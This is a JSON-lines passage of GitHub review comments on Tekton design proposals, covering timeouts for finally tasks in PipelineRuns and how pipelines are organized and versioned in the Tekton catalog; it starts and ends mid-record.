"body": "Not sure I understand here. Relying on the taskrun default timeout is in itself a behavioral change. So in based on the @afrittoli proposition 2 flags are still needed.", "comment_id": 570273164, "created_at": "2021-02-04T14:37:18Z", "line": null, "path": "teps/0047-finallytask-execution-post-timeout.md", "pr_number": 326, "repo": "community"} +{"author": "bobcatfish", "body": "@souleb maybe the missing detail is that in [TEP-0033](https://github.com/tektoncd/community/pull/280#issuecomment-770923674) we are discussing adding an \"alpha\" feature flag that will need to be enabled to use all new alpha features, including specifying a timeout for finally tasks\r\n\r\ni agree with @vdemeester and @afrittoli that it there are 2 separate features here and we can approach them differently", "comment_id": 570546433, "created_at": "2021-02-04T21:12:29Z", "line": null, "path": "teps/0047-finallytask-execution-post-timeout.md", "pr_number": 326, "repo": "community"} +{"author": "bobcatfish", "body": "hmm this would be a backwards incompatible change, and would be very difficult as shown here. currently `finally` is a list, this example shows it as a hybrid of a dictionary and a list. if you wanted to have a `timeout` section in `finally` you'd probably need to add a tasks section or similar as well, e.g.:\r\n\r\n```\r\nfinally:\r\n timeout: \"0h0m10s\"\r\n tasks:\r\n - ...\r\n```\r\n\r\nThis would be a backwards incompatible change tho, so we'd need to support both for a while (@jerop was dealing with a similar issue for adding more configuration to when expressions - this feels like a lesson about the consequences of using lists).", "comment_id": 570548037, "created_at": "2021-02-04T21:15:32Z", "line": null, "path": "teps/0047-finallytask-execution-post-timeout.md", "pr_number": 326, "repo": "community"} +{"author": "pritidesai", "body": "we have two different options to specify timeout today (1) at the `pipelineTask` level (2) at the `pipelineRun` level. \r\n\r\nTimeout at the `pipelineRun` level:\r\n\r\n```\r\napiVersion: tekton.dev/v1beta1\r\nkind: PipelineRun\r\nmetadata:\r\n name: hello-world-pipeline-run-with-timeout\r\nspec:\r\n timeout: \"0h0m60s\"\r\n```\r\n\r\nFinally tasks are bound to this time out (or to the default `pipelineRun` timeout of 60 minutes). We are trying to override the `pipelineRun` `timeout` in this proposal. And, I recommend to add one more field at the same `pipelineRun` level which overrides `pipelineRun` timeout and the finally tasks would honor this new field:\r\n\r\n```\r\napiVersion: tekton.dev/v1beta1\r\nkind: PipelineRun\r\nmetadata:\r\n name: hello-world-pipeline-run-with-timeout\r\nspec:\r\n timeout: \"0h0m60s\"\r\n finallyTimeout: \"0h0m60s\"\r\n```\r\n\r\n", "comment_id": 570719099, "created_at": "2021-02-05T04:51:21Z", "line": null, "path": "teps/0047-finallytask-execution-post-timeout.md", "pr_number": 326, "repo": "community"} +{"author": "souleb", "body": "thanks @bobcatfish @pritidesai for the review.\r\n\r\nI am wondering if adding a second timeout field at the `pipelinerun` spec level is the best strategy. As a user, it might be confusing, could make more difficult to understand the behavior.\r\n\r\nWhat if we step back here and instead re-use the timeout field in the `pipelineTask`. We would still override the `pipelinerun` timeout, but apply it for each finally task.", "comment_id": 570846085, "created_at": "2021-02-05T09:49:17Z", "line": null, "path": "teps/0047-finallytask-execution-post-timeout.md", "pr_number": 326, "repo": "community"} +{"author": "jerop", "body": "```suggestion\r\nThe proposal is to enable finally tasks to execute when the non-finally tasks have timed out.\r\n```", "comment_id": 574210473, "created_at": "2021-02-11T01:58:38Z", "line": null, "path": "teps/0047-finallytask-execution-post-timeout.md", "pr_number": 326, "repo": "community"} +{"author": "jerop", "body": "```suggestion\r\nUnfortunately if a pipeline's execution reaches the defined timeout value before executing finally tasks, the pipelinerun stop and reports a failed status without executing the finally tasks.\r\n```", "comment_id": 574210773, "created_at": "2021-02-11T01:59:53Z", "line": null, "path": "teps/0047-finallytask-execution-post-timeout.md", "pr_number": 326, "repo": "community"} +{"author": "afrittoli", "body": "NIT: willbe -> will be", "comment_id": 576743288, "created_at": "2021-02-16T11:13:44Z", "line": null, "path": "teps/0047-finallytask-execution-post-timeout.md", "pr_number": 326, "repo": "community"} +{"author": "afrittoli", "body": "What would be the upgrade path with this approach if I have pipelines with `timeout` specified?\r\n\r\nI think I would have to:\r\n- delete `timeout` from existing pipelines\r\n- enable the feature flag\r\n- add `runTimeout` to pipelines\r\n\r\nPossibly a different approach would be to deprecate \"timeout\" - if the feature flag is enabled it will be considered as a `runTimeout` instead, but if `tasksTimeout` or `runTimeout` are added, `timeout` has to be removed or it won't pass validation.", "comment_id": 576750564, "created_at": "2021-02-16T11:25:55Z", "line": null, "path": "teps/0047-finallytask-execution-post-timeout.md", "pr_number": 326, "repo": "community"} +{"author": "souleb", "body": "We were thinking about the first approach. If the feature flag is enabled and you have a `timeout` specified, then you have a validation error.\r\n\r\nSo as you said, delete and replace it with `runTimeout`.", "comment_id": 576754638, "created_at": "2021-02-16T11:32:56Z", "line": null, "path": "teps/0047-finallytask-execution-post-timeout.md", "pr_number": 326, "repo": "community"} +{"author": "pritidesai", "body": "NIT: update the last-updated please ", "comment_id": 606318383, "created_at": "2021-04-02T16:43:19Z", "line": null, "path": "teps/0047-finallytask-execution-post-timeout.md", "pr_number": 326, "repo": "community"} +{"author": "pritidesai", "body": "NIT: I don't think this is needed, we can delete this \ud83e\udd14 ", "comment_id": 606331712, "created_at": "2021-04-02T17:11:18Z", "line": null, "path": "teps/0047-finallytask-execution-post-timeout.md", "pr_number": 326, "repo": "community"} +{"author": "pritidesai", "body": "NIT: this can be dropped ", "comment_id": 606332524, "created_at": "2021-04-02T17:13:35Z", "line": null, "path": "teps/0047-finallytask-execution-post-timeout.md", "pr_number": 326, "repo": "community"} +{"author": "pritidesai", "body": "please clarify a new section being added to `pipelineRun` CRD, am I reading it right?\r\n\r\n", "comment_id": 606333679, "created_at": "2021-04-02T17:16:39Z", "line": null, "path": "teps/0047-finallytask-execution-post-timeout.md", "pr_number": 326, "repo": "community"} +{"author": "jerop", "body": "you can use [`hack/update-toc.sh`](https://github.com/tektoncd/community/blob/main/hack/update-toc.sh) to autofix table of contents ", "comment_id": 606339866, "created_at": "2021-04-02T17:32:05Z", "line": null, "path": "teps/0047-finallytask-execution-post-timeout.md", "pr_number": 326, "repo": "community"} +{"author": "pritidesai", "body": "I feel this is overkill, since we all agree to go in a direction with a new section as a dictionary, we can just isolate this without mixing it with the existing `timeout` field in `pipelineRun`. Keep the existing behavior as is. Introduce a new section `timeouts` in `pipelineRun` to read `tasks` timeout, `pipeline` timeout, and `finally` timeout. Users can either specify the traditional timeout or this new timeout dictionary. \r\n\r\n```\r\nkind: PipelineRun\r\nspec:\r\n timeout: \"0h4m0s\"\r\n```\r\n\r\nor \r\n\r\n```\r\nkind: PipelineRun\r\nspec:\r\n timeouts:\r\n pipeline: \"0h4m0s\"\r\n tasks: \"0h1m0s\"\r\n finally: \"0h3m0s\"\r\n```\r\n", "comment_id": 606349222, "created_at": "2021-04-02T17:55:30Z", "line": null, "path": "teps/0047-finallytask-execution-post-timeout.md", "pr_number": 326, "repo": "community"} +{"author": "pritidesai", "body": "My concern with mixing the new field and the traditional usage:\r\n\r\n(1) Decoupling both in the future i.e replace `timeout` with `timeouts.pipeline`.\r\n(2) Allowing to specify both `timeout` and `timeouts` right now and then restrict the same usage in the future.", "comment_id": 606354641, "created_at": "2021-04-02T18:09:32Z", "line": null, "path": "teps/0047-finallytask-execution-post-timeout.md", "pr_number": 326, "repo": "community"} +{"author": "souleb", "body": "added a follow-on work section with the timeout dict proposition., Kept the proposal on the tasksTimeout field.", "comment_id": 606398076, "created_at": "2021-04-02T20:05:18Z", "line": null, "path": "teps/0047-finallytask-execution-post-timeout.md", "pr_number": 326, "repo": "community"} +{"author": "pritidesai", "body": "thanks @souleb, I am confused \ud83d\ude15 What would happen to `tasksTimeout` when we have [follow on](https://github.com/tektoncd/community/pull/326/files#diff-d3ce41d81b72c2cffb0f18204705557f44033fa6a7c75ee86ef653bd9d1d9946R252) work?", "comment_id": 606437474, "created_at": "2021-04-02T21:50:21Z", "line": null, "path": "teps/0046-finallytask-execution-post-timeout.md", "pr_number": 326, "repo": "community"} +{"author": "souleb", "body": "It would be deprecated. \r\n\r\n```yaml\r\nspec:\r\n timeout:\r\n pipeline: \"0h4m0s\"\r\n tasks: \"0h1m0s\"\r\n finally: \"0h3m0s\"\r\n````\r\n\r\nThe `tasks` key in `timeout` would replace it, with same behavior. The current `timeout` would be replaced as well", "comment_id": 607090880, "created_at": "2021-04-05T13:35:05Z", "line": null, "path": "teps/0046-finallytask-execution-post-timeout.md", "pr_number": 326, "repo": "community"} +{"author": "afrittoli", "body": "I like the current proposal because it's small and it only adds functionality, but I don't like the idea of adding a new field if we plan to deprecate it already. Is there any reason for not using the final syntax right away?\r\n\r\n```yaml\r\nspec:\r\n timeout: \"0h4m0s\" # Existing field, current behaviour\r\n timeouts:\r\n tasks: \"0h1m0s\" # New field\r\n```", "comment_id": 611744592, "created_at": "2021-04-12T15:43:43Z", "line": null, "path": "teps/0046-finallytask-execution-post-timeout.md", "pr_number": 326, "repo": "community"} +{"author": "afrittoli", "body": "NIT: could you cleanup the comments (can be a follow-up)", "comment_id": 613915816, "created_at": "2021-04-15T09:35:36Z", "line": 43, "path": "teps/0046-finallytask-execution-post-timeout.md", "pr_number": 326, "repo": "community"} +{"author": "afrittoli", "body": "NIT: I'm not fully convinced we need to enforce an exact match.\r\nI understand it might be useful for users to be notified if things don't match up, but I wonder if in future timeouts might be set in different resources, and ensuring they match up might be difficult.\r\nAnyways, something we can discuss on the PR, not blocking here.", "comment_id": 613932327, "created_at": "2021-04-15T09:58:28Z", "line": 251, "path": "teps/0046-finallytask-execution-post-timeout.md", "pr_number": 326, "repo": "community"} +{"author": "afrittoli", "body": "I assume the following is valid too?\r\n\r\n```yaml\r\nkind: PipelineRun\r\nspec:\r\n timeouts:\r\n tasks: \"0h1m0s\"\r\n finally: \"0h3m0s\"\r\n```", "comment_id": 613932835, "created_at": "2021-04-15T09:59:13Z", "line": 247, "path": "teps/0046-finallytask-execution-post-timeout.md", "pr_number": 326, "repo": "community"} +{"author": "afrittoli", "body": "NIT: I think the cons of this approach is that the `timeout` pipeline has different meaning depending on whether `finallyTimeout` is specified or not, which may be confusing to users.\r\nIt as the plus of not requiring us to deprecate the existing field.", "comment_id": 613938264, "created_at": "2021-04-15T10:07:23Z", "line": 311, "path": "teps/0046-finallytask-execution-post-timeout.md", "pr_number": 326, "repo": "community"} +{"author": "bobcatfish", "body": "would be great to include some use cases explaining why folks might want to put pipelines in the catalog, e.g. ideas:\r\n\r\n* packaging related CD activities for a particular language, e.g. for publishing a go binary could include testing, linting, building\r\n* show best practices and provide out of the box starting points (e.g. getting started with github + python, use this pipeline)\r\n* ? other stuff?", "comment_id": 580608446, "created_at": "2021-02-22T21:36:48Z", "line": null, "path": "teps/0053-tekton-catalog-pipeline-organization.md", "pr_number": 352, "repo": "community"} +{"author": "bobcatfish", "body": "we should include some goals here too, maybe something like:\r\n\r\n* Define the process and standards for submitting Pipelines to the catalog, as we have for Tasks\r\n* Create a standard around how to refer to Tasks in the catalog from Pipelines in the catalog", "comment_id": 580609057, "created_at": "2021-02-22T21:37:52Z", "line": null, "path": "teps/0053-tekton-catalog-pipeline-organization.md", "pr_number": 352, "repo": "community"} +{"author": "bobcatfish", "body": "we might want to include some requirements around how Pipelines refer to Tasks (e.g. can they refer to Tasks taht don't exist? should the Tasks be published to an OCI registry or can they be referred to directly in the catalog?)", "comment_id": 580609483, "created_at": "2021-02-22T21:38:39Z", "line": null, "path": "teps/0053-tekton-catalog-pipeline-organization.md", "pr_number": 352, "repo": "community"} +{"author": "bobcatfish", "body": "hm im not sure what this meat in https://github.com/tektoncd/community/blob/main/teps/0003-tekton-catalog-organization.md#quality, maybe we can reword as something like \"when pipelines have parameters and/or results\"...", "comment_id": 580610131, "created_at": "2021-02-22T21:39:23Z", "line": null, "path": "teps/0053-tekton-catalog-pipeline-organization.md", "pr_number": 352, "repo": "community"} +{"author": "bobcatfish", "body": "i wonder if we really need to repeat these - maybe we can just link back to https://github.com/tektoncd/community/blob/main/teps/0003-tekton-catalog-organization.md#support-tiers for now? (i think eventually we'll want a separate TEP about the support levels in the catalog overall)", "comment_id": 580611940, "created_at": "2021-02-22T21:42:41Z", "line": null, "path": "teps/0053-tekton-catalog-pipeline-organization.md", "pr_number": 352, "repo": "community"} +{"author": "bobcatfish", "body": "im not sure that a new image in the Task is the important part here, the important thing is probably that the version of the Task was bumped (for some reason, which is probably out of scope for this TEP)", "comment_id": 580612806, "created_at": "2021-02-22T21:44:05Z", "line": null, "path": "teps/0053-tekton-catalog-pipeline-organization.md", "pr_number": 352, "repo": "community"} +{"author": "bobcatfish", "body": "for a pipeline, i think this looks more like: anything in the pipeline changed, including but not limited to: params, results, when expressions, pipelinetasks...", "comment_id": 580613109, "created_at": "2021-02-22T21:44:37Z", "line": null, "path": "teps/0053-tekton-catalog-pipeline-organization.md", "pr_number": 352, "repo": "community"} +{"author": "bobcatfish", "body": "maybe we can link to https://github.com/tektoncd/community/blob/main/teps/0003-tekton-catalog-organization.md#ownership instead of duplicating there", "comment_id": 580613958, "created_at": "2021-02-22T21:46:00Z", "line": null, "path": "teps/0053-tekton-catalog-pipeline-organization.md", "pr_number": 352, "repo": "community"} +{"author": "bobcatfish", "body": "can you show how this is used in the rest of the pipeline as well?", "comment_id": 580615677, "created_at": "2021-02-22T21:48:54Z", "line": null, "path": "teps/0053-tekton-catalog-pipeline-organization.md", "pr_number": 352, "repo": "community"} +{"author": "bobcatfish", "body": "what is the difference between category and tag?", "comment_id": 580616211, "created_at": "2021-02-22T21:49:49Z", "line": null, "path": "teps/0053-tekton-catalog-pipeline-organization.md", "pr_number": 352, "repo": "community"} +{"author": "bobcatfish", "body": "i think this might be missing from the solutions and examples below?", "comment_id": 580616477, "created_at": "2021-02-22T21:50:13Z", "line": null, "path": "teps/0053-tekton-catalog-pipeline-organization.md", "pr_number": 352, "repo": "community"} +{"author": "bobcatfish", "body": "in this case, maybe the pipeline author could embed the task instead?", "comment_id": 580616693, "created_at": "2021-02-22T21:50:38Z", "line": null, "path": "teps/0053-tekton-catalog-pipeline-organization.md", "pr_number": 352, "repo": "community"} +{"author": "bobcatfish", "body": "why would each pipeline would need its own install script - installing a pipeline should be the same from pipeline to pipeline?", "comment_id": 580617348, "created_at": "2021-02-22T21:51:52Z", "line": null, "path": "teps/0053-tekton-catalog-pipeline-organization.md", "pr_number": 352, "repo": "community"} +{"author": "PuneetPunamiya", "body": "Initially all tags were mapped to categories in Hub, for e.g. [config.yaml](https://github.com/tektoncd/hub/blob/master/config.yaml) so whenever a new tag was added in a task it was mapped to a category called `others`. So before every release we had to manually map these new tags to some category, hence after the discussion in Catalog and Hub WG, we created a proposal for adding a category as an annotation. So Hub would now filter the resources based on categories and tags would work as keys for searching a resource. We have a [PR](https://github.com/tektoncd/community/pull/346) to update the [TEP 0003- Tekton Catalog Organization](https://github.com/tektoncd/community/blob/main/teps/0003-tekton-catalog-organization.md) ", "comment_id": 580762518, "created_at": "2021-02-23T04:31:34Z", "line": null, "path": "teps/0053-tekton-catalog-pipeline-organization.md", "pr_number": 352, "repo": "community"} +{"author": "PuneetPunamiya", "body": "Yes would it be fine if we finalized solution for referencing tasks in a pipeline because the requirements could vary based on the solutions selected", "comment_id": 580766053, "created_at": "2021-02-23T04:46:30Z", "line": null, "path": "teps/0053-tekton-catalog-pipeline-organization.md", "pr_number": 352, "repo": "community"} +{"author": "PuneetPunamiya", "body": "So just adding, if the version of the task is bumped, simultaneously the the tasks used in the pipeline should be updated and the pipeline version should be bumped, would be fine right ?", "comment_id": 580767968, "created_at": "2021-02-23T04:54:17Z", "line": null, "path": "teps/0053-tekton-catalog-pipeline-organization.md", "pr_number": 352, "repo": "community"} +{"author": "PuneetPunamiya", "body": "This would help the user to just run the script and have the pipeline running where the script would include all the installation steps/commands for tasks and pipelines, so the user won't had to manually install a single resource everytime", "comment_id": 580770195, "created_at": "2021-02-23T05:00:59Z", "line": null, "path": "teps/0053-tekton-catalog-pipeline-organization.md", "pr_number": 352, "repo": "community"} +{"author": "PuneetPunamiya", "body": "I think, the first and second solution covers this scenario as even the task is specific to that pipeline, like in the first solution it can be still added as an annotation and the task can be installed from the tasks directory ", "comment_id": 580783057, "created_at": "2021-02-23T05:50:42Z", "line": null, "path": "teps/0053-tekton-catalog-pipeline-organization.md", "pr_number": 352, "repo": "community"} +{"author": "PuneetPunamiya", "body": "So if I'm not wrong it should be like\r\n`If anything in the pipeline is changed including params, results, when expressions (which might change the behavior of the pipeline)` right ??", "comment_id": 580797497, "created_at": "2021-02-23T06:36:45Z", "line": null, "path": "teps/0053-tekton-catalog-pipeline-organization.md", "pr_number": 352, "repo": "community"} +{"author": "PuneetPunamiya", "body": "Currently in this solution where we are just adding tasks names in annotation, this won't change the pipeline spec as this would be just an inforamative thing for users for e.g which tasks are used in the pipeline and the location of the task i.e. from which catalog the task is", "comment_id": 582558894, "created_at": "2021-02-25T05:39:55Z", "line": null, "path": "teps/0053-tekton-catalog-pipeline-organization.md", "pr_number": 352, "repo": "community"} +{"author": "jromero", "body": "Why is this necessary if A) the pipeline name is already defined in the Resource and B) the directory structure already provides the name?", "comment_id": 584911746, "created_at": "2021-03-01T17:31:16Z", "line": null, "path": "teps/0053-tekton-catalog-pipeline-organization.md", "pr_number": 352, "repo": "community"} +{"author": "jromero", "body": "Is there prior art as to why this would be a map as opposed to just a key/value? I would assume that any additional parameters such as credentials, branch, etc would be made the that `catalogs` list above.\r\n\r\n```suggestion\r\n catalog: tektoncd\r\n```", "comment_id": 584913065, "created_at": "2021-03-01T17:33:15Z", "line": null, "path": "teps/0053-tekton-catalog-pipeline-organization.md", "pr_number": 352, "repo": "community"} +{"author": "jromero", "body": "Where are catalogs defined? If they are not, and tasks are only retrieved by url, then why do we need all the extra data (`name`, `version`, `catalog`) if it can be derived from the contents of `url`?", "comment_id": 584914881, "created_at": "2021-03-01T17:35:51Z", "line": null, "path": "teps/0053-tekton-catalog-pipeline-organization.md", "pr_number": 352, "repo": "community"} +{"author": "jromero", "body": "What is the format being used here? In particular, the \"official\" part. In other proposed solutions the information used to reference tasks included `catalog` which I would argue is more helpful at helping user understand what tasks are being used.\r\n\r\nI would have expected to see `tektoncd:task:foobar:1.0` here although this brings me to the question of where these \"catalogs\" are being defined (asked in option 2).", "comment_id": 584920671, "created_at": "2021-03-01T17:44:10Z", "line": null, "path": "teps/0053-tekton-catalog-pipeline-organization.md", "pr_number": 352, "repo": "community"} +{"author": "jromero", "body": "The structure and naming here seems superfluous. \r\n\r\n\r\n```suggestion\r\n /tasks.yaml \ud83d\udc48 manifest design which gives basic info of resources used in the pipeline\r\n```\r\n\r\nor \r\n\r\n```suggestion\r\n /manifest.yaml \ud83d\udc48 manifest design which gives basic info of resources used in the pipeline\r\n```\r\n", "comment_id": 584923655, "created_at": "2021-03-01T17:48:22Z", "line": null, "path": "teps/0053-tekton-catalog-pipeline-organization.md", "pr_number": 352, "repo": "community"} +{"author": "jromero", "body": "Would local tasks (those stored in `./tasks`) also be listed here? (I would argue, yes)\r\n\r\nFor example:\r\n\r\n```suggestion\r\n - name: my-task\r\n version: \"0.1\"\r\n```\r\n\r\nWhere omitting `catalog` would mean that it's local.", "comment_id": 584927503, "created_at": "2021-03-01T17:54:04Z", "line": null, "path": "teps/0053-tekton-catalog-pipeline-organization.md", "pr_number": 352, "repo": "community"} +{"author": "jromero", "body": "Not keen on the idea that an `install-script.sh` is necessary. If all the information is available (via options below) a general script should be able to install all the necessary resources. Are there other resources in mind that would make this a requirement?\r\n\r\n1. Would this be required? (please tell me no)\r\n2. What are the requirements for execution of this script? (ie. what tools can/can't be used, platform compatibility, etc)", "comment_id": 584931417, "created_at": "2021-03-01T17:59:17Z", "line": null, "path": "teps/0053-tekton-catalog-pipeline-organization.md", "pr_number": 352, "repo": "community"} +{"author": "PuneetPunamiya", "body": "Yes will update the change :+1: thanks", "comment_id": 584941399, "created_at": "2021-03-01T18:14:00Z", "line": null, "path": "teps/0053-tekton-catalog-pipeline-organization.md", "pr_number": 352, "repo": "community"} +{"author": "PuneetPunamiya", "body": "Yes in this case tasks are retrieved from the url, so I think in that case we can omit the catalog name and the version of the resource :+1: ", "comment_id": 584948078, "created_at": "2021-03-01T18:23:57Z", "line": null, "path": "teps/0053-tekton-catalog-pipeline-organization.md", "pr_number": 352, "repo": "community"} +{"author": "PuneetPunamiya", "body": "Currently for this solution it doesn't mean that task without catalog name comes from the local, but I guess that would be a good idea to consider that if catalog field is not mentioned then consider it from local", "comment_id": 584950874, "created_at": "2021-03-01T18:27:58Z", "line": null, "path": "teps/0053-tekton-catalog-pipeline-organization.md", "pr_number": 352, "repo": "community"} +{"author": "PuneetPunamiya", "body": "I agree on just having `catalog:tektoncd` but one thing was if I'm not wrong did you meant to add additional fields as well like branch, params, etc ", "comment_id": 584954710, "created_at": "2021-03-01T18:33:47Z", "line": null, "path": "teps/0053-tekton-catalog-pipeline-organization.md", "pr_number": 352, "repo": "community"} +{"author": "bobcatfish", "body": "@PuneetPunamiya do we want it to be automatic? i would think the pipeline author would want to choose when to bump the version", "comment_id": 587845937, "created_at": "2021-03-04T21:40:19Z", "line": null, "path": "teps/0053-tekton-catalog-pipeline-organization.md", "pr_number": 352, "repo": "community"} +{"author": "afrittoli", "body": "I think a critical point for this TEP is the ability of a pipeline is able to refer to specific versions of task that are not defined along with the pipeline (e.g. catalog ones). \r\n\r\nThe only versioning mechanism we have today is bundles, but we cannot enforce that as a requirement to store pipelines in the catalog. Perhaps we could use annotations to specify the version of the tasks used for the different pipeline tasks? `tkn` could use such annotations to pull the correct version of the task when installing the pipeline.", "comment_id": 589343732, "created_at": "2021-03-08T11:09:50Z", "line": null, "path": "teps/0057-tekton-catalog-pipeline-organization.md", "pr_number": 352, "repo": "community"} +{"author": "afrittoli", "body": "We should probably define something for this.\r\nIf the pipeline is not updated to use an alternative task it might end up being deprecated too?\r\nWe could define some time windows for that.", "comment_id": 589347454, "created_at": "2021-03-08T11:16:36Z", "line": null, "path": "teps/0057-tekton-catalog-pipeline-organization.md", "pr_number": 352, "repo": "community"} +{"author": "afrittoli", "body": "I think it would be good to at least identify the bits of automation that will be required as a consequence of this TEP, i.e. we will need a tool to download a pipeline and all associated resources, or we will need a way to display deprecation warnings if a dependent task is deprecated.", "comment_id": 589348625, "created_at": "2021-03-08T11:18:37Z", "line": null, "path": "teps/0057-tekton-catalog-pipeline-organization.md", "pr_number": 352, "repo": "community"} +{"author": "afrittoli", "body": "One thing that I really don't like about the current folder based approach with task and that is going to happen with pipelines too is that it makes it harder to track what changes in between versions with the existing tools, but at review time as well as from a catalog / hub user point of view. \r\nI think this could be alleviated by providing some `tkn` and/or `hub` tool to compare versions? ", "comment_id": 589352500, "created_at": "2021-03-08T11:25:53Z", "line": null, "path": "teps/0057-tekton-catalog-pipeline-organization.md", "pr_number": 352, "repo": "community"} +{"author": "afrittoli", "body": "NIT: display name of the pipeline?", "comment_id": 589353456, "created_at": "2021-03-08T11:27:31Z", "line": null, "path": "teps/0057-tekton-catalog-pipeline-organization.md", "pr_number": 352, "repo": "community"} +{"author": "afrittoli", "body": "NIT: tasks which may have some tasks?", "comment_id": 589354546, "created_at": "2021-03-08T11:29:30Z", "line": null, "path": "teps/0057-tekton-catalog-pipeline-organization.md", "pr_number": 352, "repo": "community"} +{"author": "afrittoli", "body": "Instead of a list, we could just say that pipelines could include any combination of tasks from the Tekton catalog, other catalog and tasks included in the `tasks` folder of the pipeline definition. Are tasks embedded in the pipeline not an option? If not, why?\r\n\r\nTo be honest I'm not sure if we want pipeline in the Tekton catalog that refer to tasks in other catalogs, at least not in the \"official\" and \"verified\" tiers? ", "comment_id": 589357060, "created_at": "2021-03-08T11:34:32Z", "line": null, "path": "teps/0057-tekton-catalog-pipeline-organization.md", "pr_number": 352, "repo": "community"} +{"author": "afrittoli", "body": "Oh, I see now this is addressed further down in the TEP \ud83d\ude4f ", "comment_id": 589358256, "created_at": "2021-03-08T11:36:44Z", "line": null, "path": "teps/0057-tekton-catalog-pipeline-organization.md", "pr_number": 352, "repo": "community"} +{"author": "afrittoli", "body": "I don't understand why this would create duplication of tasks?\r\nAlso I think `task-01` is not a clear example of how this would work. \r\nIf would be good to have at least a task in the spec to see how the reference would work.\r\nWhat does the `official` in there refers to? ", "comment_id": 589359923, "created_at": "2021-03-08T11:39:46Z", "line": null, "path": "teps/0057-tekton-catalog-pipeline-organization.md", "pr_number": 352, "repo": "community"} +{"author": "afrittoli", "body": "We might add support for referring tasks via URL to Tekton, but even so I think we should not use it in the catalog, since that would then force users to always pull that task from git. This is possibly beyond the scope of this TEP, but I think it would be nice to let user chose where to install the tasks - which is something CLI tools could provide:\r\n- embed tasks on the fly\r\n- install them in the cluster\r\n- push them to a bundle\r\n- (...)", "comment_id": 589364275, "created_at": "2021-03-08T11:48:23Z", "line": null, "path": "teps/0057-tekton-catalog-pipeline-organization.md", "pr_number": 352, "repo": "community"} +{"author": "afrittoli", "body": "NIT: whtere", "comment_id": 589365295, "created_at": "2021-03-08T11:50:27Z", "line": null, "path": "teps/0057-tekton-catalog-pipeline-organization.md", "pr_number": 352, "repo": "community"} +{"author": "afrittoli", "body": "Is this a cons?", "comment_id": 589366354, "created_at": "2021-03-08T11:52:40Z", "line": null, "path": "teps/0057-tekton-catalog-pipeline-organization.md", "pr_number": 352, "repo": "community"} +{"author": "afrittoli", "body": "Why? It won't install dependent tasks, but it will install the pipeline.\r\nWhich is the case with any pipeline that is installed today, pipelines must use either embedded tasks or bundles if they want to be self-container. ", "comment_id": 589367176, "created_at": "2021-03-08T11:54:16Z", "line": null, "path": "teps/0057-tekton-catalog-pipeline-organization.md", "pr_number": 352, "repo": "community"} +{"author": "afrittoli", "body": "Three options - what is the solution proposed by this TEP?\r\nI think there should be one proposed and alternative considered....", "comment_id": 589367699, "created_at": "2021-03-08T11:55:18Z", "line": null, "path": "teps/0057-tekton-catalog-pipeline-organization.md", "pr_number": 352, "repo": "community"} +{"author": "afrittoli", "body": "NIT: I would put this kind of manifest file into the root of the pipeline folder and perhaps call it manifest?", "comment_id": 589368144, "created_at": "2021-03-08T11:56:03Z", "line": null, "path": "teps/0057-tekton-catalog-pipeline-organization.md", "pr_number": 352, "repo": "community"} +{"author": "afrittoli", "body": "I'm not sure we should repeat this information over and over again in every pipeline in the catalog?\r\nPerhaps we could specify custom catalogs only? Or perhaps a pipeline that uses openshift catalog tasks should be in the tekton catalog?", "comment_id": 589370254, "created_at": "2021-03-08T12:00:01Z", "line": null, "path": "teps/0057-tekton-catalog-pipeline-organization.md", "pr_number": 352, "repo": "community"} +{"author": "afrittoli", "body": "I think this solution is rather similar to solution #1 - this manifest file could be included in an annotation as well if we don't want to to have an external file that is not included in the pipeline.\r\nOr event if we keep it external in the catalog, tools could fetch it an append it as annotation to the install pipeline.", "comment_id": 589372179, "created_at": "2021-03-08T12:03:58Z", "line": null, "path": "teps/0057-tekton-catalog-pipeline-organization.md", "pr_number": 352, "repo": "community"} +{"author": "afrittoli", "body": "Is this a requirement to use conftest, or just a suggestion?", "comment_id": 589373004, "created_at": "2021-03-08T12:05:40Z", "line": null, "path": "teps/0057-tekton-catalog-pipeline-organization.md", "pr_number": 352, "repo": "community"} +{"author": "afrittoli", "body": "What does major vulnerabilities mean specifically? Do we have a way to verify and enforce this?", "comment_id": 589373704, "created_at": "2021-03-08T12:06:59Z", "line": null, "path": "teps/0057-tekton-catalog-pipeline-organization.md", "pr_number": 352, "repo": "community"} +{"author": "afrittoli", "body": "Do we have a way to verify / enforce this?", "comment_id": 589374966, "created_at": "2021-03-08T12:09:14Z", "line": null, "path": "teps/0057-tekton-catalog-pipeline-organization.md", "pr_number": 352, "repo": "community"} +{"author": "afrittoli", "body": "Since we don't collect telemetry in Tekton, it might be difficult to know exactly about usage? Unless we have data about downloads from the hub?\r\n\r\nIf feel like we don't need to call out all specific cases for removal in the TEP, as long as we specify the deprecation nd removal policy in terms of how much notice we need to give and through which channels.", "comment_id": 589432918, "created_at": "2021-03-08T13:48:36Z", "line": null, "path": "teps/0057-tekton-catalog-pipeline-organization.md", "pr_number": 352, "repo": "community"} +{"author": "PuneetPunamiya", "body": "Yes a tool like this will be really good to have. Thanks :+1: ", "comment_id": 589471643, "created_at": "2021-03-08T14:41:56Z", "line": null, "path": "teps/0057-tekton-catalog-pipeline-organization.md", "pr_number": 352, "repo": "community"} +{"author": "PuneetPunamiya", "body": "I was about to combine the first two points, but by mistakely separated. I have updated that now thanks", "comment_id": 589480871, "created_at": "2021-03-08T14:53:28Z", "line": null, "path": "teps/0057-tekton-catalog-pipeline-organization.md", "pr_number": 352, "repo": "community"} +{"author": "PuneetPunamiya", "body": "Since the manifest just includes the information about the tasks and from which catalog they belong, hence it won't install the dependent tasks right neither the pipeline right ??? To install the pipeline, the user will have to apply the pipeline manifest which will install the pipeline only right ?? ", "comment_id": 589482870, "created_at": "2021-03-08T14:55:37Z", "line": null, "path": "teps/0057-tekton-catalog-pipeline-organization.md", "pr_number": 352, "repo": "community"} +{"author": "PuneetPunamiya", "body": "So here the duplication of task means that if a pipeline has tasks that are from Tekton catalog then adding the task in pipeline's task directory would create duplication since we have that task in `/task` directory\r\n\r\nFor e.g.\r\n\r\n```\r\n /p1 \r\n /OWNERS \r\n /0.1\r\n /README.md\r\n /p1.yaml \r\n /samples/\r\n /tasks \r\n```\r\n\r\nHere official refers to the support tier of the catalog", "comment_id": 589577064, "created_at": "2021-03-08T16:47:20Z", "line": null, "path": "teps/0057-tekton-catalog-pipeline-organization.md", "pr_number": 352, "repo": "community"} +{"author": "PuneetPunamiya", "body": "It was just a suggestion ", "comment_id": 589582159, "created_at": "2021-03-08T16:53:20Z", "line": null, "path": "teps/0057-tekton-catalog-pipeline-organization.md", "pr_number": 352, "repo": "community"} +{"author": "PuneetPunamiya", "body": "One thing if we keep as an annotation then we might have to add it in every version of the pipeline and second thing 